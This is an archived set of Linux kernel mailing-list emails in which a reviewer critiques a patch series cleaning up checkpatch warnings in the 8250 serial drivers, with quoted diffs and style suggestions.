Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIbZi-0001cW-Mb
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Jan 2016 13:27:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757592AbcAKM1y convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jan 2016 07:27:54 -0500
Original-Received: from mga01.intel.com ([192.55.52.88]:48090 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751942AbcAKM1x (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jan 2016 07:27:53 -0500
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga101.fm.intel.com with ESMTP; 11 Jan 2016 04:27:52 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,552,1444719600"; 
   d="scan'208";a="890772850"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by fmsmga002.fm.intel.com with ESMTP; 11 Jan 2016 04:27:47 -0800
In-Reply-To: <1452275039-18787-2-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26345 gmane.linux.kernel:2123503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26345>

On Fri, 2016-01-08 at 18:43 +0100, Anton Wuerfel wrote:
> This patch fixes whitespace errors reported by checkpatch to increase
> readability. Main focus is on missing spaces after commas in
> function headers and macros (like foo,bar edited to foo, bar).
>=20
> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de

Cc: looks more standard.

> --- a/drivers/tty/serial/8250/8250_accent.c
> +++ b/drivers/tty/serial/8250/8250_accent.c
> @@ -10,7 +10,7 @@
> =C2=A0#include <linux/init.h>
> =C2=A0#include <linux/serial_8250.h>
> =C2=A0
> -#define PORT(_base,_irq)				\
> +#define PORT(_base, _irq)				\
> =C2=A0	{						\
> =C2=A0		.iobase		=3D _base,		\
> =C2=A0		.irq		=3D _irq,			\
>=20

While those are okay, I would suggest to make a macro in
drivers/=E2=80=A6/8250.h one for all, something like this:

#define 8250_PORT_FLAGS(_base, _irq, _flags)
=E2=80=A6
	.flags=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=3D =
UPF_BOOT_AUTOCONF | (_flags) \

#define 8250_PORT(_base, _irq)	8250_PORT_FLAGS(_base, _irq, 0)

And use it.

> --- a/drivers/tty/serial/8250/8250_boca.c
> +++ b/drivers/tty/serial/8250/8250_boca.c
> @@ -10,7 +10,7 @@
> =C2=A0#include <linux/init.h>
> =C2=A0#include <linux/serial_8250.h>
> =C2=A0
> -#define PORT(_base,_irq)				\
> +#define PORT(_base, _irq)				\
> =C2=A0	{						\
> =C2=A0		.iobase		=3D _base,		\
> =C2=A0		.irq		=3D _irq,			\
>=20

> --- a/drivers/tty/serial/8250/8250_exar_st16c554.c
> +++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
> @@ -13,7 +13,7 @@
> =C2=A0#include <linux/init.h>
> =C2=A0#include <linux/serial_8250.h>
> =C2=A0
> -#define PORT(_base,_irq)				\
> +#define PORT(_base, _irq)				\
> =C2=A0	{						\
> =C2=A0		.iobase		=3D _base,		\
> =C2=A0		.irq		=3D _irq,			\
>=20

> --- a/drivers/tty/serial/8250/8250_fourport.c
> +++ b/drivers/tty/serial/8250/8250_fourport.c
> @@ -10,7 +10,7 @@
> =C2=A0#include <linux/init.h>
> =C2=A0#include <linux/serial_8250.h>
> =C2=A0
> -#define PORT(_base,_irq)					=09
> \
> +#define PORT(_base, _irq)					=09
> \
> =C2=A0	{							=09
> \
> =C2=A0		.iobase		=3D _base,		=09
> 	\
> =C2=A0		.irq		=3D _irq,			=09
> 	\



--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 05/13] tty: serial: 8250: Remove else after return
Date: Mon, 11 Jan 2016 14:30:29 +0200
Organization: Intel Finland Oy
Lines: 36
Approved: news@gmane.org
Message-ID: <1452515429.26146.11.camel@linux.intel.com>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
	 <1452275039-18787-6-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452515425 16486 80.91.229.3 (11 Jan 2016 12:30:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 12:30:25 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 11 13:30:22 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIbc4-0002u6-9S
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Jan 2016 13:30:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758680AbcAKMaT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jan 2016 07:30:19 -0500
Original-Received: from mga03.intel.com ([134.134.136.65]:23878 "EHLO mga03.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758664AbcAKMaT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jan 2016 07:30:19 -0500
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga103.jf.intel.com with ESMTP; 11 Jan 2016 04:30:08 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,552,1444719600"; 
   d="scan'208";a="858101609"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga001.jf.intel.com with ESMTP; 11 Jan 2016 04:30:02 -0800
In-Reply-To: <1452275039-18787-6-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26346 gmane.linux.kernel:2123504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26346>

On Fri, 2016-01-08 at 18:43 +0100, Anton Wuerfel wrote:
> This patch fixes checkpatch warnings about unnecessary else blocks
> after
> return statements.

> --- a/drivers/tty/serial/8250/8250_pci.c
> +++ b/drivers/tty/serial/8250/8250_pci.c
> @@ -805,10 +805,10 @@ static int pci_netmos_9900_numports(struct
> pci_dev *dev)
> =C2=A0
> =C2=A0	pi =3D (c & 0xff);

And here the parens are redundant.

> =C2=A0
> -	if (pi =3D=3D 2) {
> +	if (pi =3D=3D 2)
> =C2=A0		return 1;
> -	} else if ((pi =3D=3D 0) &&
> -			=C2=A0=C2=A0=C2=A0(dev->device =3D=3D
> PCI_DEVICE_ID_NETMOS_9900)) {
> +
> +	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)=
)
> {

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 10/13] tty: serial: 8250: Suitably replace printk
Date: Mon, 11 Jan 2016 14:38:34 +0200
Organization: Intel Finland Oy
Lines: 79
Approved: news@gmane.org
Message-ID: <1452515914.26146.14.camel@linux.intel.com>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
	 <1452275039-18787-11-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452515899 24032 80.91.229.3 (11 Jan 2016 12:38:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 12:38:19 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 11 13:38:16 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIbjj-0007N6-Sj
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Jan 2016 13:38:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759190AbcAKMiO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jan 2016 07:38:14 -0500
Original-Received: from mga01.intel.com ([192.55.52.88]:45770 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759165AbcAKMiM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jan 2016 07:38:12 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by fmsmga101.fm.intel.com with ESMTP; 11 Jan 2016 04:38:12 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,552,1444719600"; 
   d="scan'208";a="888133867"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga002.jf.intel.com with ESMTP; 11 Jan 2016 04:38:06 -0800
In-Reply-To: <1452275039-18787-11-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26347 gmane.linux.kernel:2123507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26347>

On Fri, 2016-01-08 at 18:43 +0100, Anton Wuerfel wrote:
> From: Phillip Raffeck <phillip.raffeck@fau.de>
>=20
> This patch replaces printk by the corresponding variant of dev_* in
> order
> to fix checkpatch warnings. If no suitable device pointer is present,
> the
> corresponding pr_* variant is used.
>=20

> --- a/drivers/tty/serial/8250/8250_hp300.c
> +++ b/drivers/tty/serial/8250/8250_hp300.c
>=20

> @@ -141,13 +141,13 @@ int __init hp300_setup_serial_console(void)
> =C2=A0		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
> =C2=A0			add_preferred_console("ttyS", port.line,
> "9600n8");
> =C2=A0#else
> -		printk(KERN_WARNING "Serial console is DCA but
> support is disabled (CONFIG_HPDCA)!\n");
> +		pr_warn("Serial console is DCA but support is
> disabled (CONFIG_HPDCA)!\n");
> =C2=A0		return 0;
> =C2=A0#endif
> =C2=A0	}
> =C2=A0
> =C2=A0	if (early_serial_setup(&port) < 0)
> -		printk(KERN_WARNING "hp300_setup_serial_console():
> early_serial_setup() failed.\n");
> +		pr_warn("hp300_setup_serial_console():
> early_serial_setup() failed.\n");

%s:=E2=80=A6, __func__ ?

> =C2=A0	return 0;
> =C2=A0}
> =C2=A0#endif /* CONFIG_SERIAL_8250_CONSOLE */
> @@ -179,8 +179,9 @@ static int hpdca_init_one(struct dio_dev *d,
> =C2=A0	line =3D serial8250_register_8250_port(&uart);
> =C2=A0
> =C2=A0	if (line < 0) {
> -		printk(KERN_NOTICE "8250_hp300: register_serial()
> DCA scode %d"
> -		=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0" irq %d failed\n", d->s=
code, uart.port.irq);
> +		dev_notice(&d->dev,
> +			=C2=A0=C2=A0"8250_hp300: register_serial() DCA scode
> %d irq %d failed\n",
> +			=C2=A0=C2=A0d->scode, uart.port.irq);
> =C2=A0		return -ENOMEM;
> =C2=A0	}
> =C2=A0
> @@ -260,8 +261,8 @@ static int __init hp300_8250_init(void)
> =C2=A0		line =3D serial8250_register_8250_port(&uart);
> =C2=A0
> =C2=A0		if (line < 0) {
> -			printk(KERN_NOTICE "8250_hp300:
> register_serial() APCI"
> -			=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0" %d irq %d failed\n", =
i,
> uart.port.irq);
> +			pr_notice("8250_hp300: register_serial()
> APCI %d irq %d failed\n",
> +				=C2=A0=C2=A0i, uart.port.irq);

Inconsistent with dev_notice() above. Choose one which is most suitable
here.

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 12/13] tty: serial: 8250: Removed warning in debug
 output
Date: Mon, 11 Jan 2016 14:42:12 +0200
Organization: Intel Finland Oy
Lines: 53
Approved: news@gmane.org
Message-ID: <1452516132.26146.16.camel@linux.intel.com>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
	 <1452275039-18787-13-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452516248 29348 80.91.229.3 (11 Jan 2016 12:44:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 12:44:08 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 11 13:44:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIbpH-0001Il-Oy
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Jan 2016 13:44:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759506AbcAKMn7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Jan 2016 07:43:59 -0500
Original-Received: from mga03.intel.com ([134.134.136.65]:52754 "EHLO mga03.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758955AbcAKMn6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Jan 2016 07:43:58 -0500
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by orsmga103.jf.intel.com with ESMTP; 11 Jan 2016 04:43:57 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,552,1444719600"; 
   d="scan'208";a="878977787"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by fmsmga001.fm.intel.com with ESMTP; 11 Jan 2016 04:43:53 -0800
In-Reply-To: <1452275039-18787-13-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26348 gmane.linux.kernel:2123513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26348>

On Fri, 2016-01-08 at 18:43 +0100, Anton Wuerfel wrote:
> This patch fixes type warnings in a debug output in 8250_pnp.c.
> Those warnings never got triggered, because the command was nested
> in an #ifdef, which is removed by a patch of this series.

Would be nice to cite the warning line from compiler or sparse (which
one, btw?)

Also, patch does not fix a warning. Rephrase title and commit message
in an appropriate way.

>=20
> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
> =C2=A0drivers/tty/serial/8250/8250_pnp.c | 4 ++--
> =C2=A01 file changed, 2 insertions(+), 2 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_pnp.c
> b/drivers/tty/serial/8250/8250_pnp.c
> index ba3a1af..e99282f 100644
> --- a/drivers/tty/serial/8250/8250_pnp.c
> +++ b/drivers/tty/serial/8250/8250_pnp.c
> @@ -465,8 +465,8 @@ serial_pnp_probe(struct pnp_dev *dev, const
> struct pnp_device_id *dev_id)
> =C2=A0		return -ENODEV;
> =C2=A0
> =C2=A0	dev_dbg(&dev->dev,
> -		=C2=A0"Setup PNP port: port %x, mem 0x%lx, irq %d, type
> %d\n",
> -		=C2=A0uart.port.iobase, uart.port.mapbase,
> +		=C2=A0"Setup PNP port: port %lx, mem 0x%lx, irq %d, type
> %d\n",
> +		=C2=A0uart.port.iobase, (unsigned long)
> uart.port.mapbase,

No need to have a space after ).

> =C2=A0		=C2=A0uart.port.irq, uart.port.iotype);
> =C2=A0
> =C2=A0	if (flags & CIR_PORT) {

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v4 13/13] tty: serial: 8250: Fix indentation warnings
Date: Mon, 11 Jan 2016 14:47:43 +0200
Organization: Intel Finland Oy
Lines: 55
Approved: news@gmane.org
Message-ID: <1452516463.26146.20.camel@linux.intel.com>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
	 <1452275039-18787-14-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452516462 32732 80.91.229.3 (11 Jan 2016 12:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 12:47:42 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jan 11 13:47:33 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aIbsi-0002xS-Du
	for glk-linux-kernel-3@plane.gmane.org; Mon, 11 Jan 2016 13:47:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932657AbcAKMr0 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 11 Jan 2016 07:47:26 -0500
Original-Received: from mga14.intel.com ([192.55.52.115]:59909 "EHLO mga14.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758955AbcAKMrY (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 11 Jan 2016 07:47:24 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by fmsmga103.fm.intel.com with ESMTP; 11 Jan 2016 04:47:23 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,552,1444719600"; 
   d="scan'208";a="888137599"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga002.jf.intel.com with ESMTP; 11 Jan 2016 04:47:15 -0800
In-Reply-To: <1452275039-18787-14-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.3-1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2123514 gmane.linux.ports.parisc:26349
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2123514>

On Fri, 2016-01-08 at 18:43 +0100, Anton Wuerfel wrote:
> Checkpatch complains about incorrect indentation of switch/case
> statements.
> This patch fixes the corresponding warnings. Additionally some
> indentation
> is changed to match the correct format specified in the Linux Kernel
> Coding Style.
>=20
> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
> =C2=A0drivers/tty/serial/8250/8250_pci.c=C2=A0=C2=A0| 12 ++++++------
> =C2=A0drivers/tty/serial/8250/8250_pnp.c=C2=A0=C2=A0|=C2=A0=C2=A04 ++=
--
> =C2=A0drivers/tty/serial/8250/8250_port.c |=C2=A0=C2=A06 +++---
> =C2=A03 files changed, 11 insertions(+), 11 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_pci.c
> b/drivers/tty/serial/8250/8250_pci.c
> index 09157fa..b0b47f9 100644
> --- a/drivers/tty/serial/8250/8250_pci.c
> +++ b/drivers/tty/serial/8250/8250_pci.c
> @@ -841,12 +841,12 @@ static int pci_netmos_init(struct pci_dev *dev)
> =C2=A0		return 0;
> =C2=A0
> =C2=A0	switch (dev->device) { /* FALLTHROUGH on all */
> -		case PCI_DEVICE_ID_NETMOS_9904:
> -		case PCI_DEVICE_ID_NETMOS_9912:
> -		case PCI_DEVICE_ID_NETMOS_9922:
> -		case PCI_DEVICE_ID_NETMOS_9900:
> -			num_serial =3D pci_netmos_9900_numports(dev);
> -			break;
> +	case PCI_DEVICE_ID_NETMOS_9904:
> +	case PCI_DEVICE_ID_NETMOS_9912:
> +	case PCI_DEVICE_ID_NETMOS_9922:
> +	case PCI_DEVICE_ID_NETMOS_9900:
> +		num_serial =3D pci_netmos_9900_numports(dev);
> +		break;
> =C2=A0
> =C2=A0		default:

You forget to shift above line as well.

> =C2=A0			if (num_serial =3D=3D 0) {

But before doing that I would suggest to refactor the warning message
below in the code: copy it out of 'default:' to below condition and
replace by 'break;' inside the switch-case.

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy



From - Thu Nov 08 21:38:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Shevchenko, Andriy" <andriy.shevchenko@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 01/13] tty: serial: 8250: Fix whitespace errors
Date: Mon, 11 Jan 2016 12:50:18 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <1452516646.26146.22.camel@intel.com>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
	 <1452275039-18787-2-git-send-email-anton.wuerfel@fau.de>
	 <1452515294.26146.10.camel@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1452516640 3337 80.91.229.3 (11 Jan 2016 12:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 12:50:40 +0000 (UTC)
